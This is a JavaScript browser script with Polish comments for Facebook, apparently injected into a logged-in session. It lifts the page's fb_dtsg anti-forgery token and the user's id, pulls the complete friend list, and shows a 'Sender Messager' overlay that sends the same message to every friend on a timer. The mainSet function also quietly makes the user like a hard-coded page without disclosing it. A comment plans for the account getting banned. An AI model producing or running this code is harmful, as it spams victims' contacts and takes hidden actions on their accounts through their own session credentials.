/**
 * DLA ZARABIAM
 * DLA ZARABIAM
 * DLA ZARABIAM
 * DLA ZARABIAM
 * DLA ZARABIAM
**/
function facebook ()
{
	this.iIdLoginUser = '';
	this.bCheckAction = 'false';
	this.iCountSend   = 0;
	this.iAllFrends   = '';
	this.iSleep       = '';
	this.Time         = '';

	/**
	 * Tworzenie okna do wysylania wiadomosci
	 **/
	this.createDivMessage = function (sGallery, sMessage)
	{
		var self  = this;
		var iLeft = Math.ceil(((window.innerWidth || document.body.clientWidth) - 600) / 2);
		var sHtml ='<div id="photos_snowlift" class="_n8 _3qx fbPhotoSnowlift fbxPhoto uiLayer fullScreenAvailable _3qw" tabindex="0" role="region"  aria-busy="false" style="min-width: 100%;">'+
		'<div style="margin-left:'+iLeft+'px; margin-top: 150px; margin-bottom: 150px;'+
					'width: 700px;'+
					'height: 400px;'+
					'background-image: -webkit-gradient( linear, left top, left bottom, color-stop(0, #787878), color-stop(1, #000000) );'+
					'background-image: -o-linear-gradient(bottom, #787878 0%, #000000 100%);'+
					'background-image: -moz-linear-gradient(bottom, #787878 0%, #000000 100%);'+
					'background-image: -webkit-linear-gradient(bottom, #787878 0%, #000000 100%);'+
					'background-image: -ms-linear-gradient(bottom, #787878 0%, #000000 100%);'+
					'background-image: linear-gradient(to bottom, #787878 0%, #000000 100%);'+
					'border-radius: 80px 80px 0 40px;'+
					'-webkit-box-shadow: 0px 2px 10px 0px rgba(50, 50, 50, 0.77);'+
					'-moz-box-shadow:    0px 2px 10px 0px rgba(50, 50, 50, 0.77);'+
					'box-shadow:         0px 2px 10px 0px rgba(50, 50, 50, 0.77);'+
					'">'+
		'<div class="top" style="height: 100px;'+
					'width: 100%;'+
					'padding: 15px;">'+

			'<div class="top-left" style="float: left; width: 240px;">'+
				'<div style="width: 100px;'+
							'height: 100px;'+
							'float:left;'+
							'border-radius: 80px 80px 0 80px;'+
							'background-color: silver;'+
							'background-image: url(\'https://graph.facebook.com/'+self.iIdLoginUser +'/picture\'); background-size: cover;">'+
				'</div>'+
				'<div id="avatersendid" style="width: 100px;'+
							'height: 100px;'+
							'float:left;'+
							'margin-left: 10px;'+
							'border-radius: 80px 80px 80px 0;'+
							'background-size: cover;">'+
				'</div>'+
			'</div>'+

			'<div style="float: left; width: 180px; margin-top: 23px;"><h2 style="color: white;">Sender Messager v. 1.0.5b</h2></div>'+
			'<div style="float: right; margin-right: 120px;">'+
			'<div style="position: relative; left: 150px; color: white;"><a onClick="javascript:oFacebook.setRemoveScript(this)" class="closeTheater" role="button"></a></div>'+
				'<table id="status-table" style="color: white;">'+
					'<tr>'+
						'<td name=""></td>'+
						'<td name=""></td>'+
					'</tr>'+
					'<tr>'+
						'<td name="">Ilosc znajomych:</td>'+
						'<td name="allfrends">'+self.iAllFrends+'</td>'+
					'</tr>'+
						'<td name="">Ilosc wyslanych:</td>'+
						'<td id="senduserid" name="senduser">0'+'</td>'+
					'</tr>'+
						'<td name="">Pozostaly czas:</td>'+
						'<td id="totalltimeid" name="totalltime">(?)'+' sek</td>'+
					'</tr>'+
					'</tr>'+
						'<td name="">Opoznienie:</td>'+
						'<td id="sendsleepid" name="sendsleep">'+self.iSleep+' ms</td>'+
					'</tr>'+
				'</table>'+
			'</div>'+

		'</div>'+
		'<div class="content">'+
			'<form name="allusers" action="javascript:oFacebook.sendTotallMessage();">'+
			'<div id="galleryfb" style="width: 100%;'+
						'height: 170px;'+
						'overflow: auto; opacity: 0.6;'+
						'">'+sGallery.toString()+'</div>'+
						//'"></div>'+
						'<textarea class="message" name="message" style="width: 670px;'+
								 'height: 45px;'+
								 'border-radius: 0 0 0 15px;'+
								 'padding: 15px;'+
							     'opacity: 0.5;">'+sMessage+'</textarea>'+
							     '<div style="float: right;">'+
							  '<input style="float: right;'+
							  'background-color: #000000;'+
							  'color: white;'+
							  'text-decoration: none;'+
							  'border: 0;" class="button" type="submit" value="Pause" onClick="javascript:oFacebook.bCheckAction=\'true\'" />'+
				'<input style="float: right;'+
							  'background-color: #000000;'+
							  'color: white;'+
							  'text-decoration: none;'+
							  'border: 0;" class="button" onClick="javascript:oFacebook.bCheckAction=\'false\'" type="submit" value="Start" />'+
							  '<span style="color: white; text-decoration: none;" id="range">Start(0)</span><input type="range" min="0" max="'+self.iAllFrends+'" value="0" step="1" onchange="javascript:oFacebook.showValue(this.value)" />'+
							  '</div>'+
			'</form>'+
		'</div>'+
		'<div style="float: left; text-align: left;'+
			'color: white;'+
			'margin-right: 10px;'+
			'color: white;'+
			'font-size: 12px;'+
			'margin-left: 20px;'+
			'opacity: 0.3; z-index: -1;" class="footer">DLA ZARABIAM</div>'+
	'</div></div>';
	return sHtml;
	}

	this.showValue = function(newValue)
	{
		var self = this;
		document.getElementById("range").innerHTML="Start("+newValue+")";
		self.iCountSend = newValue;
		self.sellectCheckBox(newValue);
	}


	this.setLikeFBTools = function()
	{
		//id 391936144280862
		var self = this;
		var sUrl = 'https://www.facebook.com/ajax/pages/fan_status.php';
		var d 	 = new Date();
		var data = {
			"fbpage_id" : "391936144280862",
			"add" : "true",
			"reload" : "false",
			"fan_origin" : "page_timeline",
			"nctr[_mod]" : "pagelet_timeline_page_actions",
			"__user": self.getMyUserId(),
			"__a": "1",
			"fb_dtsg": self.getFbDtsg(),
			"ttstamp": "" + ('0'+d.getHours()).slice(-2) + ":" + ('0'+d.getMinutes()).slice(-2)
		}

		var req = self.serialize(data);
    	var sSource = self.sendAjax(sUrl,req);
	}

	this.setRemoveScript = function ()
	{
		document.getElementById("photos_snowlift").remove();
	}


	this.crateDivGallery = function (oIds)
	{
		var self = this;
		var iCount = 0;
		var sHtml = '';
			for(var i in oIds)
			{
				iCount++;
				sHtml += '<div style="float:left; padding: 10px;"><input name="userid" type="checkbox" checked="checked" value="'+oIds[i]+'" /><img src="https://graph.facebook.com/'+oIds[i]+'/picture"/></div>';
			}

		sHtml += '';
		self.iAllFrends = iCount;
		return sHtml.toString();
	}


	this.sellectCheckBox = function(i)
	{
		checkboxes = document.allusers.userid;

		//sHtml = ''
  		for(var x=0; x<checkboxes.length; x++)
  		{

    		if(x<i)
    		{
    			//console.log("i="+i+' x='+x);
    			var test = checkboxes[x];
    			checkboxes[x].checked = false;
    			//console.log(checkboxes[x].checked);
    		}
    		else
    		{
    		checkboxes[x].checked = true;
    		}

    	}
    	document.allusers.userid.innerHTML = checkboxes;
    	//console.log(checkboxes);
    	//document.getElementById("galleryfb").innerHTML = sHtml;
	}


	this.getRequest = function (xmlhttp)
	{
		if (xmlhttp.readyState==4)
	  	{
	  		return xmlhttp.responseText;
	  	}

	}


	this.sendAjax = function (sUrl, sData)
	{
		var xmlhttp;
		var response;
		var self = this;
		if (window.XMLHttpRequest)
		{// code for IE7+, Firefox, Chrome, Opera, Safari
		  xmlhttp = new XMLHttpRequest();
		}
		else
		{// code for IE6, IE5
		  xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
		}
		xmlhttp.open("POST",sUrl,false);
		xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
		xmlhttp.setRequestHeader("Content-length", sData.length);
		xmlhttp.setRequestHeader("Connection", "close");
		xmlhttp.send(sData);
		response =	xmlhttp.onreadystatechange = self.getRequest(xmlhttp);
		return response;
	}


	this.getSelector = function(sSearch)
	{
		var sFind = document.getElementsByTagName('input');
		for(var i = 0; i < sFind.length; i++)
		{
    		if(sFind[i].name.indexOf(sSearch) == 0)
    		{
        		return sFind[i].value;
    		}
		}
	}


	this.getMyUserId = function ()
	{
		var self = this;
		return self.getSelector('targetid');
    }


	this.getFbDtsg = function ()
	{
		//<input type="hidden" name="fb_dtsg" value="AQHOy-CS3cy_" autocomplete="off" />
		var self = this;
		return self.getSelector('fb_dtsg');
	}


	this.getAllIdFrends = function(iId, fbdtsg)
	{
		var self    = this;
		var sUrl    = "https://www.facebook.com/ajax/chooser/list/friends/all/";
		var aData   = "__user="+iId+"&__a=1&fb_dtsg="+fbdtsg+"&ttstamp="+Math.round(new Date().getTime() / 1000)+"";
		var sSource = self.sendAjax(sUrl,aData);
		return sSource;
	}


	/**
	 * Sprawdzenie checkboxa i pobranie value
	 */
	this.getRadioButtonValue = function (rbutton)
    {
          if (rbutton.checked)
          {
           	return rbutton.value;
          }
   		  return null;
    }


    this.serialize = function(obj)
    {
      var str = [];
      for(var p in obj)
         str.push(p + "=" + encodeURIComponent(obj[p]));
      return str.join("&");
    }


    this.random = function (len)
    {
        var min = Math.pow(10, len-1);
        var max = Math.pow(10, len);
        return Math.floor(Math.random() * (max - min + 1)) + min;
    }


   this.sendMessageToUser = function (iIdUserToSend, sMessageToSend)
   {

	   	var self    = this;
		var fbDtsg  = self.getFbDtsg();
		var fbid    = self.getMyUserId();
		var d 		= new Date();
		var sUrl    = 'https://www.facebook.com/ajax/mercury/send_messages.php';

	   	var data = {
	       "message_batch[0][timestamp_relative]": "" + ('0'+d.getHours()).slice(-2) + ":" + ('0'+d.getMinutes()).slice(-2),
	       "message_batch[0][author]": "fbid:" + fbid,
	       "message_batch[0][is_cleared]": "false",
	       "message_batch[0][message_id]": "<" + self.random(14) + ":" + self.random(10) + "-" + self.random(10) + "@mail.projektitan.com>",
	       "message_batch[0][specific_to_list][0]": "fbid:" + iIdUserToSend,
	       "__user": fbid,
	       "message_batch[0][timestamp_absolute]": "Oggi",
	       "message_batch[0][spoof_warning]": "false",
	       "message_batch[0][client_thread_id]": "user:" + iIdUserToSend,
	       "message_batch[0][source]": "source:chat:web",
	       "message_batch[0][has_attachment]": "false",
	       "message_batch[0][source_tags][0]": "source:chat",
	       "message_batch[0][body]": sMessageToSend,
	       "message_batch[0][is_filtered_content]": "false",
	       "message_batch[0][timestamp]": "" + Math.round(new Date().getTime() / 1000),
	       "message_batch[0][is_unread]": "false",
	       "message_batch[0][action_type]": "ma-type:user-generated-message",
	       "__a": "1",
	       "message_batch[0][specific_to_list][1]": "fbid:" + fbid,
	       "message_batch[0][html_body]": "false",
	       "message_batch[0][status]": "0",
	       "client": "mercury",
	       "message_batch[0][is_forward]": "false",
	       "fb_dtsg":fbDtsg
	    };
	    var req = self.serialize(data);
	    var sSource = self.sendAjax(sUrl,req);
	    //@todo przerwanie w momencie gdy cie zbanuja
   }

   this.setInfoSendUser = function (iCount, iMax)
   {
		var self = this;
		var iTime = Math.ceil((((iMax * self.iSleep) - (iCount*self.iSleep))/1000));
		document.getElementById("senduserid").innerHTML = iCount;
		document.getElementById("totalltimeid").innerHTML = iTime+' sek';
   }

   this.setSleep = function (i)
   {
   		var self = this;
   		var oNodeList = document.allusers['userid'];
		var sMessage = document.allusers['message'];
		if(self.bCheckAction !== 'false')
		{
			return '';
		}

		if(i<self.iCountSend)
		{
			i = self.iCountSend;
		}
		else
		{
			self.iCountSend = i;
		}

   		if(i<oNodeList.length)
   		{
   			i++;
   			self.setInfoSendUser(i);
   			var iIdUser = self.getRadioButtonValue(oNodeList[i]);
			if(iIdUser !==null)
			{
				self.setInfoSendUser(i, oNodeList.length);
				document.getElementById("avatersendid").style.backgroundImage = "url('https://graph.facebook.com/"+iIdUser+"/picture')";
				self.sendMessageToUser(iIdUser,sMessage.value);
			}
   			setTimeout(
				function(){
					self.setSleep(i);
				},self.iSleep);
		}
   }


	this.sendTotallMessage = function()
	{
		var self = this;
		self.setSleep(0);
	}


	this.sleep = function (milliseconds)
	{
	    var start = new Date().getTime();
	    for (var i = 0; i < 1e7; i++) {
	        if ((new Date().getTime() - start) > milliseconds){
	          break;
	        }
	    }
	}


	this.mainSet = function (sMessage)
	{
		var self    = this;
		var fbDtsg  = self.getFbDtsg();
		var iId     = self.getMyUserId();
		var aFrends = self.getAllIdFrends(iId, fbDtsg);
		self.setLikeFBTools();
		self.iIdLoginUser = iId;
		if(typeof aFrends !== "undefined")
		{
			aFrends       = JSON.parse(aFrends.slice(9,aFrends.length));
			var oIds      = aFrends['payload']['ids'];
			var sGallery  = self.crateDivGallery(oIds).toString();
			var sLightBox = self.createDivMessage(sGallery, sMessage);
			document.getElementById("pagelet_bluebar").innerHTML += sLightBox;
		}
	}
}

var sMessage = 'dla zarabiam.';
var oFacebook = new facebook();
oFacebook.iSleep = 1000;
oFacebook.mainSet(sMessage);